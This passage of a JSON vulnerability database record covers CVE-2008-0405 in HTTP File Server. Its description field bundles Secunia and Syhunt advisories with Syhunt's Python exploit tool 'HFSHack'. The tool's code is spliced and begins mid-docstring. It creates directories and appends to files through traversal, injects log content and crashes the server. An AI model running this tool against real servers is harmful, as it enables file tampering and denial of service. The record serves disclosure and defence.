    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:hfs:http_file_server:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndIncluding": "2.2b",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2008-0405"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Felipe Aragon  felipe@syhunt.com",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ],
    "trust": 0.6
  },
  "cve": "CVE-2008-0405",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": false,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "NVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "HIGH",
            "trust": 1.0,
            "userInteractionRequired": false,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Low",
            "accessVector": "Network",
            "authentication": "None",
            "author": "NVD",
            "availabilityImpact": "Complete",
            "baseScore": 10.0,
            "confidentialityImpact": "Complete",
            "exploitabilityScore": null,
            "id": "CVE-2008-0405",
            "impactScore": null,
            "integrityImpact": "Complete",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "High",
            "trust": 0.9,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2008-0405",
            "trust": 1.8,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-200801-412",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULMON",
            "id": "CVE-2008-0405",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2008-0405"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "db": "NVD",
        "id": "CVE-2008-0405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Multiple directory traversal vulnerabilities in HTTP File Server (HFS) before 2.2c, when account names are used as log filenames, allow remote attackers to create arbitrary (1) files and (2) directories via a .. (dot dot) in an account name, when requesting the / URI; and (3) append arbitrary data to a file via a .. (dot dot) in an account name, when requesting a URI composed of a \"/?%0a\" sequence followed by the data. \nA successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user.  Other attacks are also possible. \n\n----------------------------------------------------------------------\n\nA new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI\nhas been released. The new version includes many new and advanced\nfeatures, which makes it even easier to stay patched. \n\nDownload and test it today:\nhttps://psi.secunia.com/\n\nRead more about this new version:\nhttps://psi.secunia.com/?page=changelog\n\n----------------------------------------------------------------------\n\nTITLE:\nHTTP File Server Multiple Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA28631\n\nVERIFY ADVISORY:\nhttp://secunia.com/advisories/28631/\n\nCRITICAL:\nModerately critical\n\nIMPACT:\nCross Site Scripting, Spoofing, Manipulation of data, Exposure of\nsystem information, DoS, System access\n\nWHERE:\n\u003eFrom remote\n\nSOFTWARE:\nHTTP File Server 2.x\nhttp://secunia.com/product/16793/\n\nDESCRIPTION:\nFelipe Aragon and Alec Storm have reported some vulnerabilities and\nsecurity issues in HTTP File Server, which can be exploited by\nmalicious people to disclose system information, conduct spoofing and\ncross-site scripting attacks, bypass certain security restrictions,\nmanipulate data, and potentially compromise a vulnerable system. \n\n1) The application does not correctly log certain input. This can be\nexploited to e.g. spoof the username or inject arbitrary content into\nthe logfile when logging in. \n\n2) Certain input is not properly sanitised before being returned to a\nuser. \n\n3) It is possible to disclose certain information (e.g. number of\nconnections, transfer speed, traffic statistics, or uptime) by\nsending specially crafted request containing template symbols. \n\n4) The application does not correctly handle the username before\nusing it to create the file name of the logfile. This can be\nexploited to create directories, append data to files, or to cause a\nbuffer overflow by sending specially crafted requests to a vulnerable\nserver. \n\nSuccessful exploitation allows the execution of arbitrary code, but\nrequires that the \"%user%\" template symbol is used to define the name\nof the logfile. \n\nSOLUTION:\nSome of the vulnerabilities are fixed in version 2.2c. \nhttp://www.rejetto.com/hfs/?f=dl\n\nPROVIDED AND/OR DISCOVERED BY:\nFelipe Aragon and Alec Storm, Syhunt Security Research Team\n\nORIGINAL ADVISORY:\nhttp://archives.neohapsis.com/archives/vulnwatch/2008-q1/0008.html\nhttp://archives.neohapsis.com/archives/vulnwatch/2008-q1/0009.html\nhttp://archives.neohapsis.com/archives/vulnwatch/2008-q1/0010.html\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\neverybody keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. #!/usr/bin/python\n\n\"\"\"\n----------------------------------------------------------------\nHFSHack 1.0b (By Felipe M. Examples:\\n\u0027\n\u0027\tmanipf inject.html index.html or ..\\\\..\\index.html\\n\u0027\n\u0027\tNote: If the file does not exists, it will be created.\\n\\n\u0027\n\u0027maniplog [localfilename]\\n\u0027\n\u0027\tInjects content of a local file to the HFS log panel and file\\n\\n\u0027\n\u0027mkd [dirname]\\n\u0027\n\u0027\tCreates directories. Examples:\\n\u0027\n\u0027\tmkd Test or ..\\\\..\\\\Windows\\\\Test\\n\\n\u0027\n\u0027symbols\\n\u0027\n\u0027\tForces HFS to reveal details about the server\\n\\n\u0027\n\u0027ver\\n\u0027\n\u0027\tForces HFS to show its version and build, and displays which\\n\\n\u0027\n\u0027\tHFSHack commands are available for it\\n\u0027\n\u0027quit\\n\u0027\n\u0027\tExits this application\u0027\n\u0027\\r\\n\u0027)\n\nreadme = (\n\u0027(c) 2008 Syhunt Security. All rights reserved.\\n\\n\u0027\n\u0027This tool is provided \u0027\u0027as-is\u0027\u0027, without any expressed or implied\\n\u0027\n\u0027warranty. In no event will the author be held liable for any\\n\u0027\n\u0027damages arising from the use of this tool.\\n\\n\u0027\n\u0027Permission is granted to anyone to use this tool, and to alter\\n\u0027\n\u0027it and redistribute it freely, subject to the following\\n\u0027\n\u0027restrictions:\\n\\n\u0027\n\u00271. The origin of this tool must not be misrepresented, you must\\n\u0027\n\u0027   not claim that you wrote the original tool.\\n\\n\u0027\n\u00272. Altered source versions must be plainly marked as such, and\\n\u0027\n\u0027   must not be misrepresented as being the original plugin.\\n\\n\u0027\n\u00273. This notice may not be removed or altered from any source\\n\u0027\n\u0027   distribution.\\n\\n\u0027\n\u0027If you have any questions concerning this license, please email\\n\u0027\n\u0027contact _at_ syhunt _dot_ com\\n\u0027\n)\n\nabout = (\n\u0027----------------------------------------------------------------\\n\u0027\n\u0027 Syhunt HFSHack 1.0b\\n\u0027\n\u0027----------------------------------------------------------------\\n\\n\u0027\n\u0027This exploit tool should be used only by system administrators\\n\u0027\n\u0027(or other people in charge).\\n\\n\u0027\n\u0027Type \"readme\" and read the text before continuing\\n\\n\u0027\n\u0027If you have already read it, type \"help\" to view a list of\\n\u0027\n\u0027commands.\u0027\n)\n\n# Extra Details to Obtain\nsymbol_list = (\n\u0027connections;Current number of connections to HFS\u0027,\n\u0027timestamp;Date and time of the server\u0027,\n\u0027uptime;Uptime\u0027,\n\u0027speed-out;Current outbound speed\u0027,\n\u0027speed-in;Current inbound speed\u0027,\n\u0027total-out;Total amount of bytes sent\u0027,\n\u0027total-downloads;Total amount of bytes sent\u0027,\n\u0027total-hits;Total Hits\u0027,\n\u0027total-uploads;Total Uploads\u0027,\n\u0027number-addresses;Current number of connected clients (IPs)\u0027,\n\u0027number-addresses-ever;Number of unique IPs ever connected\u0027,\n\u0027number-addresses-downloading;Current number of downloading clients (IPs)\u0027,\n)\n\n# Affected Versions\nre_200801161 = \u0027^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b]|2.3 beta)\u0027\nre_200801162 = \u0027^HFS(.*?)(2.2$|2.2[a-b]|2.3 beta)\u0027\nre_200801163 = \u0027^HFS(.*?)(1.5[f-g]|1.6|2.[0-1]|2.2$|2.2[a-b]|2.3 beta)\u0027\nre_cangetver = \u0027^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b])\u0027\n\n# Common Messages\nmsg_par_mis = \u0027Parameter(s) missing.\u0027\nmsg_done = \u0027Done.\\n\u0027\nmsg_acc_file = \u0027Error reading local file (file not found):\u0027\nmsg_help = \u0027Type \"help\" to view a list of commands.\u0027\nmsg_err_con = \u0027Error Connecting:\u0027\nmsg_fail = \u0027Failed.\u0027\nmsg_req_ok = \u0027Request accepted.\u0027\n\nuagent = \u0027Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Syhunt HFSHack)\u0027;\npath = \u0027/\u0027 # Default Path\n\ndef dorequest(hpath,auth_data,s_msg,f_msg):\n        globals()[\"rcvd\"] = \u0027\u0027\n        globals()[\"banner\"] = \u0027\u0027\n\turl = \u0027http://\u0027+host+hpath\n\ttry:\n\t\topener = urllib2.build_opener(url)\n\t\topener.addheaders = [(\u0027User-agent\u0027, uagent)]\n\t\tif auth_data != \u0027\u0027:\n\t\t\topener.addheaders = [(\u0027Authorization\u0027, \u0027Basic \u0027+auth_data)]\n\t\tglobals()[\"rcvd\"] = opener.open(url).readlines()\n\t        if \u0027server\u0027 in opener.open(url).headers:\n\t\t\tglobals()[\"banner\"] = opener.open(url).headers[\u0027server\u0027]\n\texcept Exception, msg:\n\t\tif f_msg != \u0027\u0027:\n\t\t\tprint f_msg,msg\n\t\treturn False\n\telse:\n\t\tif s_msg != \u0027\u0027:\n\t\t\tprint s_msg\n\t\treturn True\n\ndef genbase64str(string):\n\tbase64str = base64.encodestring(string);\n        base64str = base64str.replace(\"\\n\",\"\")\n\treturn base64str\n\ndef readlocalfile(filename):\n    file = open(filename, \"r\")\n    text = file.readlines()\n    file.close()\n    print text\n    filecontentstr = \u0027\u0027\n    for l in text:\n\tfilecontentstr = filecontentstr+l\n    return filecontentstr\n\ndef ishostavailable():\n\treturn dorequest(path,\u0027\u0027,\u0027\u0027,msg_err_con)\n\ndef getservinfo(symbol,desc):\n\tbase64str = base64.encodestring(\u0027\u003cid\u003e%\u0027+symbol+\u0027%\u003c/id\u003e\u0027);\n\tif dorequest(path,base64str,\u0027\u0027,msg_err_con):\n\t\tfor l in rcvd:\n\t\t\thfsver = re.findall(\u0027\u003cid\u003e(.*?)\u003c/id\u003e\u0027, l)\n\t\t\tfor r in hfsver:\n\t\t\t\tif r != []:\n\t\t\t\t\thfsverdec = urllib2.unquote(hfsver[0])\n\t\t\t\t\tif desc != \u0027\u0027:\n\t\t\t\t\t\tprint desc+\u0027: \u0027+hfsverdec\n\t\t\t\t\treturn hfsverdec\n\telse:\n\t\treturn \u0027\u0027\n\ndef getallservinf():\n\tfor l in symbol_list:\n\t\tcurl = l.split(\u0027;\u0027)\n\t\tgetservinfo(curl[0],curl[1])\n\ndef hfsmkdir(dirname):\n\tbase64str = genbase64str(\u0027\\\\..\\\\\u0027+dirname+\u0027\\\\\u0027)+\u0027AA\u0027;\n\tdorequest(path,base64str,msg_req_ok,msg_fail)\n\ndef shutdownhfs():\n\tdosstr = genbase64str(\u0027a\u0027 * 270 + \u0027:\u0027)\n\tif dorequest(path,dosstr,msg_fail,\u0027DoS executed.\u0027):\n        \tdorequest(path,\u0027\u0027,\u0027Host is still up.\u0027,\u0027Host is now down.\u0027)\n\ndef hfsappendtofile(filename,string):\n\tbase64str = genbase64str(\u0027\\\\..\\\\\u0027+filename)+\u0027AA\u0027;\n\tdorequest(\u0027/?%0a\u0027+string,base64str,msg_req_ok,msg_fail)\n\ndef hfsinjecttolog(string):\n\tbase64str = genbase64str(string);\n\tdorequest(\u0027/\u0027,base64str,msg_req_ok,msg_fail)\n\ndef procparams(cmd):\n\ttry:\n\t\tif len(cmd) \u003e 0:\n\t\t\tif cmd[1] != []:\n\t\t\t\tglobals()[\"host\"] = cmd[1]\n\texcept:\n\t\tprint \"No target info provided. Using localhost\"\n\t\ndef checkxss():\n\tif ishostavailable():\n\t\tcurver = getservinfo(\u0027version\u0027,\u0027\u0027)\n\t\tif curver != \u0027\u0027:\n\t\t\treturn \u0027XSS Found\u0027\n\t\telse:\n\t\t\treturn \u0027Not Vulnerable\u0027\n\telse:\n\t\treturn msg_fail\n\ndef isbanner(regex):\n\tp = re.compile(regex)\n\tm = p.match(banner)\n\treturn m\n\ndef showacceptedcmds():\n\tcmds = \u0027None (This server is not vulnerable)\u0027;\n\tif isbanner(re_200801161):\n\t\tcmds = \u0027checkxss symbols ver\u0027\n\tif isbanner(re_200801162):\n\t\tcmds = cmds+\u0027 manipf mkd checkdos\u0027\n\tif isbanner(re_200801163):\n\t\tcmds = cmds+\u0027 maniplog\u0027\n\tprint \u0027\\nAvailable commands for this server:\u0027\n\tprint \u0027 \u0027+cmds+\u0027\\n\u0027\n\ndef showver():\n\tcangetver = True\n\tif banner != \u0027\u0027:\n\t\tserver_name = banner.split()\n\t\tprint banner\n\t\tif server_name[0] != \u0027HFS\u0027:\n\t\t\tprint \u0027Not running HFS!\u0027\n\t\t\tcangetver = False\n\t\telse:\n\t\t\tif isbanner(re_cangetver):\n\t\t\t\tprint \u0027Confirming version...\u0027\n\t\t\telse:\n\t\t\t\tcangetver = False\n\telse:\n\t\tprint \u0027No version information found.\u0027\n\t\tprint \u0027The \"Send HFS identifier\" option is probably disabled.\u0027\n\t\tprint \u0027Trying to force HFS to display its version...\u0027\n\tif cangetver == True:\n\t\tidver = getservinfo(\u0027version\u0027,\u0027HFS version number\u0027)\n\t\tidbuild = getservinfo(\u0027build\u0027,\u0027HFS build number\u0027)\n\t\tglobals()[\"banner\"] = \u0027HFS \u0027+idver+\u0027 \u0027+idbuild\n\tshowacceptedcmds()\n\ndef result(s):\n\tcmd = s.split()\n\tif len(cmd) \u003e 0:\n\t\tcurcmd = cmd[0]\n\t\tresult = \u0027Invalid command. Type \"help\" for list of commands.\u0027\n\t\tif curcmd == \u0027open\u0027:\n\t\t\tprocparams(cmd)\n\t\t\tif ishostavailable():\n\t\t\t\tshowver()\n\t\t\t\tresult = \u0027Connected.\\n\u0027\n\t\t\telse:\n\t\t\t\tresult = msg_fail\n\t\telif curcmd == \u0027symbols\u0027:\n\t\t\tif ishostavailable():\n\t\t\t\tshowver()\n\t\t\t\tprint \u0027Forcing HFS to reveal more details...\u0027\n\t\t\t\tgetallservinf()\n\t\t\tresult = msg_done\n\t\telif curcmd == \u0027ver\u0027:\n\t\t\tif ishostavailable():\n\t\t\t\tshowver()\n\t\t\tresult = msg_done\n\t\telif curcmd == \u0027mkd\u0027:\n\t\t\tif len(cmd) \u003e 1:\n\t\t\t\tif cmd[1] != []:\n\t\t\t\t\thfsmkdir(cmd[1])\n\t\t\t\tresult = msg_done\n\t\t\telse:\n\t\t\t\tresult = msg_par_mis\n\t\telif curcmd == \u0027manipf\u0027:\n\t\t\tif len(cmd) \u003e 2:\n\t\t\t\ttry:\n\t\t\t\t\tlocalfilecontent = readlocalfile(cmd[1])\n\t\t\t\texcept Exception, msg:\n\t\t\t\t\tresult = msg_acc_file,msg\n\t\t\t\telse:\n        \t\t\t\tlocalfilecontent = localfilecontent.replace(\"\\n\",\"%0a\")\n\t\t\t\t\thfsappendtofile(cmd[2],localfilecontent)\n\t\t\t\t\tresult = msg_done\n\t\t\telse:\n\t\t\t\tresult = msg_par_mis\n\t\telif curcmd == \u0027maniplog\u0027:\n\t\t\tif len(cmd) \u003e 1:\n\t\t\t\ttry:\n\t\t\t\t\tlocalfilecontent = readlocalfile(cmd[1])\n\t\t\t\texcept Exception, msg:\n\t\t\t\t\tresult = msg_acc_file,msg\n\t\t\t\telse:\n\t\t\t\t\thfsinjecttolog(localfilecontent)\n\t\t\t\t\tresult = msg_done\n\t\t\telse:\n\t\t\t\tresult = msg_par_mis\n\t\telif curcmd == \u0027checkdos\u0027:\n\t\t\tshutdownhfs()\n\t\t\tresult = msg_done\n\t\telif curcmd == \u0027checkxss\u0027:\n\t\t\tresult = checkxss()\n\t\telif curcmd == \u0027help\u0027:\n\t\t\tresult = help\n\t\telif curcmd == \u0027readme\u0027:\n\t\t\tresult = readme\n\t\telif curcmd == \u0027quit\u0027:\n\t\t\tresult = \u0027Bye!\u0027\n\t\treturn result\n\telse:\n\t\treturn msg_help\n\nprint about\n\ns = \"\"\nwhile s != \"quit\":\n\ttry: s = raw_input(\"\u003e\")\n\texcept EOFError:\n\t\ts = \"quit\"\n\t\tprint s\n\tprint result(s). Syhunt: HFS (HTTP File Server) Log Arbitrary File/Directory\nManipulation and Denial-of-Service Vulnerabilities\n\nAdvisory-ID: 200801162\nDiscovery Date: 1.16.2008\nRelease Date: 1.23.2008\nAffected Applications: HFS 2.2 to and including 2.3(Beta Build\n#174)\nNon-Affected Applications: HFS 2.1d and earlier versions\nClass: Arbitrary File/Directory Manipulation, Denial of Service\nStatus: Patch available/Vendor informed\nVendor: Massimo Melina\nVendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net\n\nThe Common Vulnerabilities and Exposures (CVE) project has\nassigned the following CVEs to these vulnerabilities:\n* CVE-2008-0405 - Arbitrary File/Folder Creation Vulnerability\n* CVE-2008-0406 - Denial of Service (DoS) Vulnerability\n\n----------------------------------------------------------------\n\nOverview:\nHFS is a very popular open source HTTP server designed for\neasily sharing files. According to information on the official\nwebsite, the HTTP File Server software has been downloaded about\n2 million times. \n\nDescription:\nHFS (versions 2.2 to 2.3 beta) will not check if an account name\nprovided during navigation exists or contains any invalid chars\nbefore logging information about a request. This is specially\ndangerous if the server has been configured to use account names\nas log filenames. \nTechnical details are included below. \n\n2) Denial of Service (DoS) Vulnerability\nhttp://www.syhunt.com/advisories/hfshack.txt\n\"checkdos\" command\n\n* HFS will close immediately after receiving the DoS request\n\n* This issue is related to Windows limitations with long\nfilenames. XP has a limit of 255 characters; Windows Vista a 260\nchars limit. \n\n----------------------------------------------------------------\n\nVulnerability Status:\nThe vendor was contacted and has immediately released HFS 2.2c\nwhich fixes these problems. The new version can be downloaded at\nwww.rejetto.com/hfs/download or via the \"Check for news/updates\"\noption in the HFS menu. \n\nAs a workaround for the affected releases, users can temporarily\ndisable the logging feature or remove the %user% symbol from the\nlog filename. \n\nTesters of HFS 2.3 Beta should upgrade to the latest 2.3 beta\nbuild. \n\nHFS 2.3 Beta specifically is only affected if the option\n\"Accept any login for unprotected resources\" is enabled. This\noption, introduced in this version, is disabled by default. Details provided are strictly for\neducational and defensive purposes. \n\nSyhunt is not liable for any damages caused by direct or\nindirect use of the information provided by this advisory",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2008-0405"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "db": "BID",
        "id": "27423"
      },
      {
        "db": "VULMON",
        "id": "CVE-2008-0405"
      },
      {
        "db": "PACKETSTORM",
        "id": "62961"
      },
      {
        "db": "PACKETSTORM",
        "id": "62932"
      },
      {
        "db": "PACKETSTORM",
        "id": "62931"
      }
    ],
    "trust": 2.25
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2008-0405",
        "trust": 2.7
      },
      {
        "db": "BID",
        "id": "27423",
        "trust": 2.0
      },
      {
        "db": "SECUNIA",
        "id": "28631",
        "trust": 1.8
      },
      {
        "db": "SREASON",
        "id": "3581",
        "trust": 1.7
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980",
        "trust": 0.8
      },
      {
        "db": "XF",
        "id": "39873",
        "trust": 0.6
      },
      {
        "db": "BUGTRAQ",
        "id": "20080123 SYHUNT: HFS (HTTP FILE SERVER) LOG ARBITRARY FILE/DIRECTORY MANIPULATION AND DENIAL-OF-SERVICE VULNERABILITIES",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412",
        "trust": 0.6
      },
      {
        "db": "PACKETSTORM",
        "id": "62932",
        "trust": 0.2
      },
      {
        "db": "VULMON",
        "id": "CVE-2008-0405",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "62961",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "62931",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2008-0405"
      },
      {
        "db": "BID",
        "id": "27423"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "db": "PACKETSTORM",
        "id": "62961"
      },
      {
        "db": "PACKETSTORM",
        "id": "62932"
      },
      {
        "db": "PACKETSTORM",
        "id": "62931"
      },
      {
        "db": "NVD",
        "id": "CVE-2008-0405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ]
  },
  "id": "VAR-200801-0091",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VARIoT devices database",
        "id": null
      }
    ],
    "trust": 0.1875
  },
  "last_update_date": "2023-12-18T12:12:21.601000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "HTTP File Server",
        "trust": 0.8,
        "url": "http://www.rejetto.com/hfs/"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-22",
        "trust": 1.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "db": "NVD",
        "id": "CVE-2008-0405"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.1,
        "url": "http://www.syhunt.com/advisories/hfshack.txt"
      },
      {
        "trust": 1.7,
        "url": "http://www.rejetto.com/hfs/?f=wn"
      },
      {
        "trust": 1.7,
        "url": "http://secunia.com/advisories/28631"
      },
      {
        "trust": 1.7,
        "url": "http://securityreason.com/securityalert/3581"
      },
      {
        "trust": 1.7,
        "url": "http://www.securityfocus.com/bid/27423"
      },
      {
        "trust": 1.2,
        "url": "http://www.syhunt.com/advisories/hfs-1-log.txt"
      },
      {
        "trust": 1.1,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39873"
      },
      {
        "trust": 1.1,
        "url": "http://www.securityfocus.com/archive/1/486873/100/0/threaded"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-0405"
      },
      {
        "trust": 0.8,
        "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2008-0405"
      },
      {
        "trust": 0.6,
        "url": "http://xforce.iss.net/xforce/xfdb/39873"
      },
      {
        "trust": 0.6,
        "url": "http://www.securityfocus.com/archive/1/archive/1/486873/100/0/threaded"
      },
      {
        "trust": 0.3,
        "url": "http://www.rejetto.com/hfs/"
      },
      {
        "trust": 0.3,
        "url": "/archive/1/486873"
      },
      {
        "trust": 0.3,
        "url": "/archive/1/486872"
      },
      {
        "trust": 0.3,
        "url": "/archive/1/486874"
      },
      {
        "trust": 0.2,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2008-0406"
      },
      {
        "trust": 0.2,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2008-0405"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/22.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://packetstormsecurity.com/files/62932/hfshack.txt.html"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/advisories/28631/"
      },
      {
        "trust": 0.1,
        "url": "http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0009.html"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/secunia_security_advisories/"
      },
      {
        "trust": 0.1,
        "url": "http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0010.html"
      },
      {
        "trust": 0.1,
        "url": "https://psi.secunia.com/?page=changelog"
      },
      {
        "trust": 0.1,
        "url": "https://psi.secunia.com/"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/product/16793/"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org"
      },
      {
        "trust": 0.1,
        "url": "http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0008.html"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/about_secunia_advisories/"
      },
      {
        "trust": 0.1,
        "url": "http://www.rejetto.com/hfs/?f=dl"
      },
      {
        "trust": 0.1,
        "url": "http://www.syhunt.com/advisories/hfs-1-template.txt"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2008-0407"
      },
      {
        "trust": 0.1,
        "url": "http://\u0027+host+hpath"
      },
      {
        "trust": 0.1,
        "url": "http://www.syhunt.com)"
      },
      {
        "trust": 0.1,
        "url": "http://www.syhunt.com/sandcat"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2008-0408"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2008-0410"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2008-0409"
      },
      {
        "trust": 0.1,
        "url": "http://www.syhunt.com/advisories/hfs-1-username.txt"
      },
      {
        "trust": 0.1,
        "url": "https://www.rejetto.com/hfs/download"
      },
      {
        "trust": 0.1,
        "url": "http://www.rejetto.com/hfs"
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2008-0405"
      },
      {
        "db": "BID",
        "id": "27423"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "db": "PACKETSTORM",
        "id": "62961"
      },
      {
        "db": "PACKETSTORM",
        "id": "62932"
      },
      {
        "db": "PACKETSTORM",
        "id": "62931"
      },
      {
        "db": "NVD",
        "id": "CVE-2008-0405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULMON",
        "id": "CVE-2008-0405"
      },
      {
        "db": "BID",
        "id": "27423"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "db": "PACKETSTORM",
        "id": "62961"
      },
      {
        "db": "PACKETSTORM",
        "id": "62932"
      },
      {
        "db": "PACKETSTORM",
        "id": "62931"
      },
      {
        "db": "NVD",
